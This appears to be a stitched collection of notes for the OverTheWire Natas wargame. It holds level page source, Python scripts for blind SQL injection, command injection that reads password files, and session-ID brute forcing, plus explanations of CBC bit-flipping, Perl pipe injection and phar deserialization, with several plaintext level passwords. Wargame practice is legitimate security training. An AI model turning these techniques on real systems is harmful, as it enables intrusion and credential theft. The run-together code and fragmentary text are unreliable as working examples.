<html> <head> <!-- This stuff in the header has nothing to do with the level --> <linkrel="stylesheet"type="text/css"href="http://natas.labs.overthewire.org/css/level.css"> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/wechall.css" /> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <scriptsrc=http://natas.labs.overthewire.org/js/wechall-data.js></script><scriptsrc="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas6", "pass": "<censored>" };</script></head> <body> <h1>natas6</h1> <divid="content">
<?
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) { if($secret == $_POST['secret']) { print "Access granted. The password for natas7 is <censored>"; } else { print "Wrong secret"; } } ?>
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <linkrel="stylesheet"type="text/css"href="http://natas.labs.overthewire.org/css/level.css"> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/wechall.css" /> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <scriptsrc=http://natas.labs.overthewire.org/js/wechall-data.js></script><scriptsrc="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas8", "pass": "<censored>" };</script></head> <body> <h1>natas8</h1> <divid="content">
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <linkrel="stylesheet"type="text/css"href="http://natas.labs.overthewire.org/css/level.css"> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/wechall.css" /> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <scriptsrc=http://natas.labs.overthewire.org/js/wechall-data.js></script><scriptsrc="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas9", "pass": "<censored>" };</script></head> <body> <h1>natas9</h1> <divid="content"> <form> Find words containing: <inputname=needle><inputtype=submitname=submitvalue=Search><br><br> </form>
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <linkrel="stylesheet"type="text/css"href="http://natas.labs.overthewire.org/css/level.css"> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/wechall.css" /> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <scriptsrc=http://natas.labs.overthewire.org/js/wechall-data.js></script><scriptsrc="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas10", "pass": "<censored>" };</script></head> <body> <h1>natas10</h1> <divid="content">
For security reasons, we now filter on certain characters<br/><br/> <form> Find words containing: <inputname=needle><inputtype=submitname=submitvalue=Search><br><br> </form>
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <linkrel="stylesheet"type="text/css"href="http://natas.labs.overthewire.org/css/level.css"> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/wechall.css" /> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <scriptsrc=http://natas.labs.overthewire.org/js/wechall-data.js></script><scriptsrc="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas11", "pass": "<censored>" };</script></head> <?
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <linkrel="stylesheet"type="text/css"href="http://natas.labs.overthewire.org/css/level.css"> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/wechall.css" /> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <scriptsrc=http://natas.labs.overthewire.org/js/wechall-data.js></script><scriptsrc="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas13", "pass": "<censored>" };</script></head> <body> <h1>natas13</h1> <divid="content"> For security reasons, we now only accept image files!<br/><br/>
<?php function genRandomString() { $length = 10; $characters = "0123456789abcdefghijklmnopqrstuvwxyz"; $string = ""; for ($p = 0; $p < $length; $p++) { $string .= $characters[mt_rand(0, strlen($characters)-1)]; } return $string; } function makeRandomPath($dir, $ext) { do { $path = $dir."/".genRandomString().".".$ext; } while(file_exists($path)); return $path; } function makeRandomPathFromFilename($dir, $fn) { $ext = pathinfo($fn, PATHINFO_EXTENSION); return makeRandomPath($dir, $ext); } if(array_key_exists("filename", $_POST)) { $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); $err=$_FILES['uploadedfile']['error']; if($err){ if($err === 2){ echo "The uploaded file exceeds MAX_FILE_SIZE"; } else{ echo "Something went wrong :/"; } } else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { echo "File is too big"; } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) { echo "File is not an image"; } else { if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; } else{ echo "There was an error uploading the file, please try again!"; } } } else { ?>
url = "http://natas15.natas.labs.overthewire.org/index.php?debug" auth = ("natas15", "SdqIqBsFcz3yotlNYErZSZwblkm0lrvx") con = 32 data = {"username": 'natas16" AND password LIKE BINARY "a%'}
ans = 'hPkjKYviLQctEW33QmuXL6eDVfMW4'
sub = 'doesn'
whileTrue: for i in a: print(f"i={i}") data = {"username": f'natas16" AND password LIKE BINARY"{ans+i}%'} response = requests.post(url=url,data=data,auth=auth) ifnot sub in response.text: ans += i print(ans) print(f"len {len(ans)}")
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <linkrel="stylesheet"type="text/css"href="http://natas.labs.overthewire.org/css/level.css"> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/wechall.css" /> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <scriptsrc=http://natas.labs.overthewire.org/js/wechall-data.js></script><scriptsrc="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas16", "pass": "<censored>" };</script></head> <body> <h1>natas16</h1> <divid="content">
For security reasons, we now filter even more on certain characters<br/><br/> <form> Find words containing: <inputname=needle><inputtype=submitname=submitvalue=Search><br><br> </form>
American Americanism Americanism's Americanisms Americans Britisher Celsius Celsiuses Christianities Christmases Congress Congress's December December's Decembers E E's Easter ...
# https://jhalon.github.io/over-the-wire-natas3/ # exist='' # for x in a: # parmas={"needle": f'$(grep {x} /etc/natas_webpass/natas17)',"submit":"Search"} # response=requests.get(url=url,params=parmas,auth=auth) # if not sub in response.text: # exist += x # print('using: '+exist)
exist='bhjkoqsvwCEFHJLNOT05789'
ans='EqjHJbo7LFNb8vwhHb'
ans=input() print(ans)
whileTrue: for i in exist: print(i) parmas={"needle": f'$(grep ^{ans+i} /etc/natas_webpass/natas17)',"submit":"Search"} response=requests.get(url=url,params=parmas,auth=auth)
ifnot sub in response.text: ans += i print(ans) print(f"len {len(ans)}") iflen(ans)==32: exit()
for i inrange(sta,641): print(i) cookie={'PHPSESSID':f'{i}'} response=requests.post(url=url,cookies=cookie,auth=auth) iflen(response.text)!=983: print(response.text)
# 119 # <html> # <head> # <!-- This stuff in the header has nothing to do with the level --> # <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> # <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> # <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> # <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> # <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> # <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> # <script>var wechallinfo = { "level": "natas18", "pass": "6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ" };</script></head> # <body> # <h1>natas18</h1> # <div id="content"> # You are an admin. The credentials for the next level are:<br><pre>Username: natas19 # Password: tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr</pre><div id="viewsource"><a href="index-source.html">View sourcecode</a></div> # </div> # </body> # </html>
# tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr
tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr
level 18->level 19
1 2 3
This page uses mostly the same code as the previous level, but session IDs are no longer sequential...
Please login with your admin account to retrieve credentials for natas20.
# PHPSESSID:3139352d61646d696e # from hex: 195-admin # # i = 1 # # a = f"{i}-admin" # cookie={'PHPSESSID':f'{a.encode().hex()}'} # print(cookie) # response=requests.post(url=url,cookies=cookie,auth=auth) # print(response.text) # print(len(response.text))
l=1029
sta=0 sta=231
for i inrange(sta,641): a = f"{i}-admin" cookie={'PHPSESSID':f'{a.encode().hex()}'} print(f'{i}{cookie}') response=requests.post(url=url,cookies=cookie,auth=auth) iflen(response.text) != l: print(response.text) exit()
# 281 {'PHPSESSID': '3238312d61646d696e'} # <html> # <head> # <!-- This stuff in the header has nothing to do with the level --> # <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> # <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> # <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> # <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> # <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> # <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> # <script>var wechallinfo = { "level": "natas19", "pass": "tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr" };</script></head> # <body> # <h1>natas19</h1> # <div id="content"> # <p> # <b> # This page uses mostly the same code as the previous level, but session IDs are no longer sequential... # </b> # </p> # You are an admin. The credentials for the next level are:<br><pre>Username: natas20 # Password: p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw</pre></div> # </body> # </html> #
DEBUG: MYREAD hms87qeds08mbeh5g81tbh806j DEBUG: Reading from /var/lib/php/sessions/mysess_hms87qeds08mbeh5g81tbh806j DEBUG: Read [name admin ] DEBUG: Read [admin 1] DEBUG: Read [] DEBUG: Name set to admin admin 1 You are an admin. The credentials for the next level are:
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <linkrel="stylesheet"type="text/css"href="http://natas.labs.overthewire.org/css/level.css"> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/wechall.css" /> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <scriptsrc=http://natas.labs.overthewire.org/js/wechall-data.js></script><scriptsrc="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas21", "pass": "<censored>" };</script></head> <body> <h1>natas21</h1> <divid="content"> <p> <b>Note: this website is colocated with <ahref="http://natas21-experimenter.natas.labs.overthewire.org">http://natas21-experimenter.natas.labs.overthewire.org</a></b> </p>
<?php function print_credentials() { /* {{{ */ if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { print "You are an admin. The credentials for the next level are:<br>"; print "<pre>Username: natas22\n"; print "Password: <censored></pre>"; } else { print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22."; } } /* }}} */ session_start(); print_credentials(); ?>
<?php session_start(); if(array_key_exists("revelio", $_GET)) { // only admins can reveal the password if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) { header("Location: /"); } } ?>
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <linkrel="stylesheet"type="text/css"href="http://natas.labs.overthewire.org/css/level.css"> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/wechall.css" /> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <scriptsrc=http://natas.labs.overthewire.org/js/wechall-data.js></script><scriptsrc="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas22", "pass": "<censored>" };</script></head> <body> <h1>natas22</h1> <divid="content">
<?php if(array_key_exists("revelio", $_GET)) { print "You are an admin. The credentials for the next level are:<br>"; print "<pre>Username: natas23\n"; print "Password: <censored></pre>"; } ?>
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas22", "pass": "d8rwGBl0Xslg3b76uh3fEbSlnOUBlozz" };</script></head> <body> <h1>natas22</h1> <div id="content">
You are an admin. The credentials for the next level are:<br><pre>Username: natas23 Password: dIUQcI3uSus1JEOSSWRAEXBG8KbR8tRs</pre> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html>
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <linkrel="stylesheet"type="text/css"href="http://natas.labs.overthewire.org/css/level.css"> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/wechall.css" /> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <scriptsrc="http://natas.labs.overthewire.org/js/wechall-data.js"></script><scriptsrc="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas23", "pass": "<censored>" };</script></head> <body> <h1>natas23</h1> <divid="content">
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <linkrel="stylesheet"type="text/css"href="http://natas.labs.overthewire.org/css/level.css"> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/wechall.css" /> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <scriptsrc="http://natas.labs.overthewire.org/js/wechall-data.js"></script><scriptsrc="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas24", "pass": "<censored>" };</script></head> <body> <h1>natas24</h1> <divid="content">
<br /> <b>Warning</b>: strcmp() expects parameter 1 to be string, array given in <b>/var/www/natas/natas24/index.php</b> on line <b>23</b><br /> <br>The credentials for the next level are:<br><pre>Username: natas25 Password: ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws</pre> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html>
Welcome natas28 ! Here is your data: Array ( [username] => natas28 [password] => 1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj )
1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj
# note the user inserted was natas28 %
1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj
level 27->level 28
CBC bit-flipping SQL injection. The search form encrypts the query
with AES-CBC before passing to search.php, which decrypts
it into a SQL LIKE query. In CBC mode, flipping a byte in
ciphertext block N-1 corrupts the same byte in plaintext block N — we
can inject arbitrary SQL.
# Step 2 — Get a known-plaintext reference # Encrypt padding characters to find which ciphertext blocks # correspond to our input, then XOR-flip the PREVIOUS block # to rewrite the decrypted plaintext
# The SQL decrypted is roughly: # SELECT * FROM jokes WHERE joke LIKE BINARY '%[INPUT]%' # We want: # SELECT * FROM jokes WHERE joke LIKE BINARY '%' UNION SELECT password FROM users-- -'
# The CBC trick: # P[i] = Decrypt(C[i]) XOR C[i-1] # To set P[i][j] = target_byte, we need: # C[i-1][j] = current_C[i-1][j] XOR current_P[i][j] XOR target_byte
# Since we don't know current_P[i], we encrypt a known pattern, # capture C[i-1], then derive the XOR delta from what we WANT vs # what's ALREADY in the decrypted plaintext (inferable from the SQL template).
# Full exploit script (standard approach for this level): # 1. Encrypt 'a'*50 to learn which blocks contain our data # 2. Determine position of the trailing % and close quote # 3. Flip the ciphertext bytes to turn '%' into "' UNION SELECT..." # 4. Append dummy block to consume the trailing SQL
31F4j3Qi2PnuhIZQokxXk1L3QT9Cppns
level 28->level 29
Perl CGI file inclusion. The file parameter is opened as
$f.txt. A pipe | at the end makes it a shell
command. Filter blocks 'natas' but wildcards bypass it.
if ('POST' eq request_method && param('username') && param('password')){ my$dbh = DBI->connect( "DBI:mysql:natas30","natas30", "<censored>", {'RaiseError' => 1}); my$query="Select * FROM users where username =".$dbh->quote(param('username')) . " and password =".$dbh->quote(param('password'));
my$sth = $dbh->prepare($query); $sth->execute(); my$ver = $sth->fetch(); if ($ver){ print"win!<br>"; print"here is your result:<br>"; print@$ver; } else{ print"fail :("; } $sth->finish(); $dbh->disconnect(); }
Result: natas31:m7bfjAHpJmSYgQWWeqRE2qVBuMiRNq0y
m7bfjAHpJmSYgQWWeqRE2qVBuMiRNq0y
level 30->level 31
Perl CGI RCE via open() pipe injection. The CSV parser
reads with <$file>. Setting file=ARGV as
a text field makes it open @ARGV. URL query params become @ARGV; a trailing
| executes as shell command.
PHP phar unserialization via md5_file() +
phar:// wrapper. The Executor class uploads a
file then checks md5_file($filename) == $signature. By
crafting a phar archive with serialized metadata, we overwrite
$filename and $signature when the phar is
opened via phar://.
# Trigger phar deserialization — filename=phar://./exploit.phar/b # The constructor fails to save (path with ://), but destructor # chdir to /natas33/upload/ and calls md5_file("phar://./exploit.phar/b") # which opens the phar, deserializes metadata, overwriting $filename # and $signature, then md5_file("shell.php") matches and runs passthru curl -s -u natas33:2v9nDlbSF7jvawaCncr5Z9kSzkmBeoCJ \ -F "filename=phar://./exploit.phar/b" \ -F "uploadedfile=@/dev/null;filename=x;type=text/plain" \ 'http://natas33.natas.labs.overthewire.org/index.php'